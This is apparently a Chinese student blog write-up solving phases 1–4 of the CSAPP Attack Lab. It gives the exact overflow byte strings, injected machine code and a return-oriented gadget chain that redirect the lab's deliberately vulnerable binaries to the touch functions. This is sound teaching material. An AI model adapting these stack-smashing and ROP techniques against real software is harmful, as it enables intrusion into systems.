CSAPP lab3: attack lab
写在前面 以后做lab之前, 一定要看官网的README和Writeup!!!
attack lab如果不看这两个东西的话根本就不知道要干嘛(前两个lab我就没看这两个东西, 做的就比较困难, 虽然都做出来了)
对于这个lab而言, 还要充分理解小端序机器是如何存储字节码的
概述 暂时没有, 因为这篇是边做边写的
工具 hex2raw 将输入二进制序列转化为字符串
题解 ctarget 约定
本target的做法都是利用缓冲区溢出注入二进制代码
执行ctarget时要加上-q
指令, 防止其连接远程服务器(在gdb调试时, r -q
来运行)
三个phase的难度是递增的
通用函数 getbuff 1 2 3 4 5 6 7 8 9 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 call 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 ret 4017be: 90 nop 4017bf: 90 nop
这个函数提供一个40字节的缓冲区供我们输入, 当输入超过这个数的时候就可以do something interesting
Phase 1: ctarget.l1 这个phase要求我们在执行完getbuff()
之后跳转到touch1()
函数, 以下是touch1()
函数的反汇编
1 2 3 4 5 6 7 8 9 10 00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 call 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff call 400e40 <exit@plt>
我们知道ret
指令相当于以下指令
即把当前栈顶的前8个字节内容赋值给rip寄存器, 我们知道函数调用有一个规则是:
如果函数A()
调用函数B()
, 那么A()
的栈帧最顶端8个字节就是B()
结束后的下一条指令的地址, 如图所示
我们在执行getbuff()
函数时如果溢出, 那么最先受影响的就是下一条指令的地址, 那我们就把这个位置变成touch1()
函数的地址就好了
所以我们需要输入的二进制序列为
1 2 3 4 5 6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
然后就成功了
Phase 2: ctarget.l2 这个phase要求我们执行完getbuf()
后跳转到touch2()
函数, 但是与phase1不同的是, 我们要给touch2()
函数传一个参数: cookie值
先看看touch2()
的反汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 call 401c8d <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 call 401d4f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff call 400e40 <exit@plt>
这个汇编代码除了告诉我们函数的入口为地址0x4017ec外其实没有什么用, 因为CSAPP官网的write up文件给出了touch2()
的C代码!
也就是要求我们调用touch2()
的同时传入cookie
作为参数
Writeup给出了advice
需要往rdi寄存器里写入cookie
不要用jmp或call, 因为这两个参数的二进制代码不好确定, 用ret指令来完成
附录B里有用gcc将汇编代码转为机器指令序列的方法
那么一个显然的想法是我们用汇编代码写出来几个指令(把cookie存到%rdi, 调用touch2()
函数), 然后通过缓冲区溢出重定向rip寄存器让程序执行这几个指令就可以了
首先把cookie移到%rdi
我的cookie是0x59b997fa, 所以汇编指令如下
然后来到了关键的一步: 调用touch2()
函数, 我一开始想的是直接把他的地址移到%rip里
但是在转成机器指令.o文件的时候出错了, 说mov指令操作数不对, 原因是我们并不能以任何形式直接对rip寄存器的内容更改! 人家提示里也说了, 用ret指令来完成这个操作。 前边也说过了ret指令干什么事, 所以这里就需要我们对rsp寄存器操作一下, 我们把0x4017ec写到栈里, 然后让rsp指向这个地址就可以了
最终要执行的指令序列为
1 2 3 movl $0x59b997fa,%edi sub $0x20,%rsp # 等会会解释为什么这样做 ret
转换成16进制机器指令序列, 得到需要的字节码
1 2 3 4 5 6 7 8 9 10 11 phase_2.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: bf fa 97 b9 59 mov $0x59b997fa,%edi 5: 48 83 ec 20 sub $0x20,%rsp 9: c3 retq
为了方便后续的解释, 先放出这个phase的答案
1 2 3 4 5 6 bf fa 97 b9 59 48 83 ec # 这是getbuf()的那个ret会传给rip的那个地址的内容 20 c3 00 00 00 00 00 00 ec 17 40 00 00 00 00 00 # ret(这是我们自己写的那个ret)里会传给rip的touch2()地址, 注意是小端序!!! 00 00 00 00 00 00 00 00 # 00 00 00 00 00 00 00 00 # 这两行点用没有 78 dc 61 55 00 00 00 00 # 这是getbuf()的那个ret会传给rip的地址
为了确定要注入到rip寄存器的地址, 我们先看看我们的输入具体是被存到哪里了(内存中的哪个地址)
0x5561dc78, 这就是我们放输入的可执行序列的地方, 也是我们要让getbuf()
执行完后跳转到的地方, 所以要像phase1那样把它写到最后, 溢出覆盖原来的返回位置, 画个丑图解释一下, 这是getbuf()
刚返回后的状态, 此时$rip = 0x5561dc78
, 图中每一行是8个字节(地址的箭头应该从右边出来的, 因为右边是低地址, 这里纯粹是为了好看)
讲起来确实有点麻烦, 自己做的话感觉还好
Phase 3: ctarget.l3 这个phase要求我们调用touch3()
, 并且传入一个字符串等于我们的cookie。 和phase2不同的是touch3()
会调用另一个函数hexmatch()
(这两个函数的C代码Writeup里都有, 也是Writeup告诉我该干嘛的, 所以一定要看Writeup), 因为存在函数调用关系, 肯定会在栈上增加返回地址, 而且这个hexmatch()
函数可也用了栈空间, 有可能会覆盖我们的输入(主要是传给touch3()
的那个参数里的字符串(输入的cookie), 在hexmatch()
里要用来比较, 不能被覆盖, 别的都无所谓, 因为它们已经被利用完了)
还是放一下这两个函数的反汇编吧(虽然我觉得用处不大)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 000000000040184c <hexmatch>: 40184c: 41 54 push %r12 40184e: 55 push %rbp 40184f: 53 push %rbx 401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp 401854: 41 89 fc mov %edi,%r12d 401857: 48 89 f5 mov %rsi,%rbp 40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 401861: 00 00 401863: 48 89 44 24 78 mov %rax,0x78(%rsp) 401868: 31 c0 xor %eax,%eax 40186a: e8 41 f5 ff ff call 400db0 <random@plt> 40186f: 48 89 c1 mov %rax,%rcx 401872: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx 401879: 0a d7 a3 40187c: 48 f7 ea imul %rdx 40187f: 48 01 ca add %rcx,%rdx 401882: 48 c1 fa 06 sar $0x6,%rdx 401886: 48 89 c8 mov %rcx,%rax 401889: 48 c1 f8 3f sar $0x3f,%rax 40188d: 48 29 c2 sub %rax,%rdx 401890: 48 8d 04 92 lea (%rdx,%rdx,4),%rax 401894: 48 8d 04 80 lea (%rax,%rax,4),%rax 401898: 48 c1 e0 02 shl $0x2,%rax 40189c: 48 29 c1 sub %rax,%rcx 40189f: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx 4018a3: 45 89 e0 mov %r12d,%r8d 4018a6: b9 e2 30 40 00 mov $0x4030e2,%ecx 4018ab: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx 4018b2: be 01 00 00 00 mov $0x1,%esi 4018b7: 48 89 df mov %rbx,%rdi 4018ba: b8 00 00 00 00 mov $0x0,%eax 4018bf: e8 ac f5 ff ff call 400e70 <__sprintf_chk@plt> 4018c4: ba 09 00 00 00 mov $0x9,%edx 4018c9: 48 89 de mov %rbx,%rsi 4018cc: 48 89 ef mov %rbp,%rdi 4018cf: e8 cc f3 ff ff call 400ca0 <strncmp@plt> 4018d4: 85 c0 test %eax,%eax 4018d6: 0f 94 c0 sete %al 4018d9: 0f b6 c0 movzbl %al,%eax 4018dc: 48 8b 74 24 78 mov 0x78(%rsp),%rsi 4018e1: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi 4018e8: 00 00 4018ea: 74 05 je 4018f1 <hexmatch+0xa5> 4018ec: e8 ef f3 ff ff call 400ce0 <__stack_chk_fail@plt> 4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp 4018f5: 5b pop %rbx 4018f6: 5d pop %rbp 4018f7: 41 5c pop %r12 4018f9: c3 ret 00000000004018fa <touch3>: 4018fa: 53 push %rbx 4018fb: 48 89 fb mov %rdi,%rbx 4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel> 401905: 00 00 00 401908: 48 89 fe mov %rdi,%rsi 40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie> 401911: e8 36 ff ff ff call 40184c <hexmatch> 401916: 85 c0 test %eax,%eax 401918: 74 23 je 40193d <touch3+0x43> 40191a: 48 89 da mov %rbx,%rdx 40191d: be 38 31 40 00 mov $0x403138,%esi 401922: bf 01 00 00 00 mov $0x1,%edi 401927: b8 00 00 00 00 mov $0x0,%eax 40192c: e8 bf f4 ff ff call 400df0 <__printf_chk@plt> 401931: bf 03 00 00 00 mov $0x3,%edi 401936: e8 52 03 00 00 call 401c8d <validate> 40193b: eb 21 jmp 40195e <touch3+0x64> 40193d: 48 89 da mov %rbx,%rdx 401940: be 60 31 40 00 mov $0x403160,%esi 401945: bf 01 00 00 00 mov $0x1,%edi 40194a: b8 00 00 00 00 mov $0x0,%eax 40194f: e8 9c f4 ff ff call 400df0 <__printf_chk@plt> 401954: bf 03 00 00 00 mov $0x3,%edi 401959: e8 f1 03 00 00 call 401d4f <fail> 40195e: bf 00 00 00 00 mov $0x0,%edi 401963: e8 d8 f4 ff ff call 400e40 <exit@plt>
这个phase有可能存在巧妙的组织你的输入各部分从而让你输入的cookie不会被覆盖(但是我懒得想), 既然后续操作用到了栈空间, 那我提前把%rsp减一个量不就行了吗, 这样后续申请栈空间就不会影响到我之前的输入, 所以这个phase也就比phase2多了一个操作rsp寄存器的指令, 然后排版一下我们的输入各部分, 计算各个部分的地址就可以了, 这里我们的输入应该分为四个部分:
注入的返回地址: 用于覆盖getbuf()
函数的返回地址, 指向我们的可执行序列
cookie: 用于后续的比较, 要把它的地址放到rdi寄存器里给touch3()
函数当参数, 注意这里的cookie是当作字符串的, 也就是数字的高位要在低地址, 而不是phase2中当成数字的小端序
可执行代码: 执行我们想让它执行的操作
touch3()
函数的地址: 这个东西要放在栈顶, 好让ret把它pop到rip寄存器里
然后我们稍微做一下定位, 找到输入附近栈帧的内存位置
然后画一张图解释一下最终我们干了什么事
图中也给出了我们这个phase的答案
1 2 3 4 5 6 fa 18 40 00 00 00 00 00 48 83 ec 30 bf 90 dc 61 55 c3 00 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 80 dc 61 55 00 00 00 00
说明一下各个部分是怎么来的
返回地址, 用gdb找的
cookie, Writeup里有写, man ascii
对出来的, 注意后面要加至少一个00
字节作为结束\0
可执行代码, 先写出我们的汇编代码, 然后按照Writeup附录B的内容操作就好了
touch3()
函数的地址, 反汇编里有
那这个phase也就完成了!
rtatget 约定
使用了栈随机化, 也就是说我们并不能确定输入的位置
限制代码可执行区域, 也就是说就算我们找到了输入的位置, 也不能执行插入的指令序列
只能使用给定的farm里的gadgets, 不要用别的地方的
所以说我们唯一能做的就是让输入溢出getbuf()
的返回后的地址(之前只溢出8个字节替代返回地址, 现在要溢出不止8个字节了), 然后让gadgets完成我们想要的操作然后ret会影响rsp和rip寄存器
Phase 4: rtarget.l2 Writeup说这个phase我们只需要用start_farm
到mid_farm
中的两个gadgets就足够了, 看看这其中都有哪些指令和gadgets
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 0000000000401994 <start_farm>: 401994: b8 01 00 00 00 mov $0x1,%eax 401999: c3 ret 000000000040199a <getval_142>: 40199a: b8 fb 78 90 90 mov $0x909078fb,%eax 40199f: c3 ret 00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax # 48 89 c7: movq %rax,%rdi # 89 c7: movl %eax,%edi 4019a6: c3 ret 00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax # 58: popq %rax 4019ad: c3 ret 00000000004019ae <setval_237>: 4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi) 4019b4: c3 ret 00000000004019b5 <setval_424>: 4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi) 4019bb: c3 ret 00000000004019bc <setval_470>: 4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi) 4019c2: c3 ret 00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) # 48 89 c7: ~ # 89 c7: ~ 4019c9: c3 ret 00000000004019ca <getval_280>: 4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax # 58: popq %rax 4019cf: c3 ret 00000000004019d0 <mid_farm>: 4019d0: b8 01 00 00 00 mov $0x1,%eax 4019d5: c3 ret
再给一下touch2()
的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 3c 20 00 02 movl $0x2,0x203ce0(%rip) # 6054dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 3c 20 00 cmp 0x203ce2(%rip),%edi # 6054e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be 08 32 40 00 mov $0x403208,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 8b 05 00 00 call 401dad <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 30 32 40 00 mov $0x403230,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 2d 06 00 00 call 401e6f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff call 400e40 <exit@plt>
我们发现实际可用的指令也就只有两个, 分别是
1 2 popq %rax movq %rax,%rdi
这两个也够了, 反正我们只要把cookie放到rdi寄存器里然后调用touch2()
就可以了, 别忘了这两个指令执行完后都跟着一个ret指令
上一张图解释一下我们要溢出的那些内容
我们来模拟一下从getbuf()
函数返回开始都发生了什么(以getbuf()
的返回地址为基准, 用偏移来表示栈上的地址)
此时$rsp=0x0, getbuf()
函数执行ret语句, 把popq指令的地址给rip寄存器, 并让$rsp+=8
此时$rsp=0x8, popq指令执行, 把cookie的地址给rax寄存器, 并让$rsp+=8
此时$rsp=0x10, ret指令执行, 把movq指令的地址给rip寄存器, 并让$rsp+=8
此时$rsp=0x18, movq指令执行, 将rax寄存器的内容复制给rdi寄存器
此时$rsp=0x18, ret指令执行, 把touch2()
函数的地址给rip寄存器, 并让$rsp+=8
touch2()
函数执行, 操作成功
这样我们就达到了我们的目的, 别忘了前面还需要40个字节来先填满缓冲区, 所以最终的答案为
1 2 3 4 5 6 7 8 9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
运行
phase4完成!
Phase 5: rtarget.l3 Writeup里说这个phase作者设置的很难, 而且只有5分, 是给who want to go beyond the normal expectations for the course准备的, 我觉得可能就麻烦一点, 应该也没什么难的, 回头做(刚看到Advice说official solution用了8个gadgets, 那应该也不简单)